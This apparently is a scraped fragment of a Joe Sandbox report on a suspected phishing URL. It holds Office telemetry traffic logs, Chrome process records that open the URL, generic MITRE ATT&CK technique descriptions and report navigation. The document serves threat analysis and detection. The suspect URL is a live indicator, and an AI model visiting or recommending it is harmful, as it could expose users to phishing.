M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:54 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030754Z-174f7845968vqt9xhC1EWRgten0000000wb000000000dznx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49845	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:55 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:55 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:55 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030755Z-174f7845968xr5c2hC1EWRd0hn0000000d700000000088q6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:55 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49846	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:56 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:56 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030756Z-174f7845968swgbqhC1EWRmnb40000000wf000000000cydd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:56 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49847	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:56 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:56 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030756Z-174f784596886s2bhC1EWR743w0000000wc000000000b50m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:56 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:56 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:56 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030756Z-174f7845968psccphC1EWRuz9s0000000whg00000000f82c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:56 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:56 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 03:07:57 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 03:07:56 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T030756Z-174f784596886s2bhC1EWR743w0000000w9000000000knfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 03:07:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 03:07:57 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net

Target ID:	0
Start time:	22:06:26
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	22:06:31
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1904,i,8113989753141242237,6083678376581575496,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	22:06:33
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "http://server.citierupticx.com/specId/product-mje@ml.avio.co.jp"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 52

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Chrome Cache Entry: 58

Chrome Cache Entry: 59

Chrome Cache Entry: 60

Chrome Cache Entry: 61

Chrome Cache Entry: 62

Chrome Cache Entry: 63

Chrome Cache Entry: 64

Chrome Cache Entry: 65

Chrome Cache Entry: 66

Chrome Cache Entry: 67

Chrome Cache Entry: 68

Chrome Cache Entry: 69

Chrome Cache Entry: 70

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

Windows Analysis Report
http://server.citierupticx.com/specId/product-mje%EF%BC%A0ml.avio.co.jp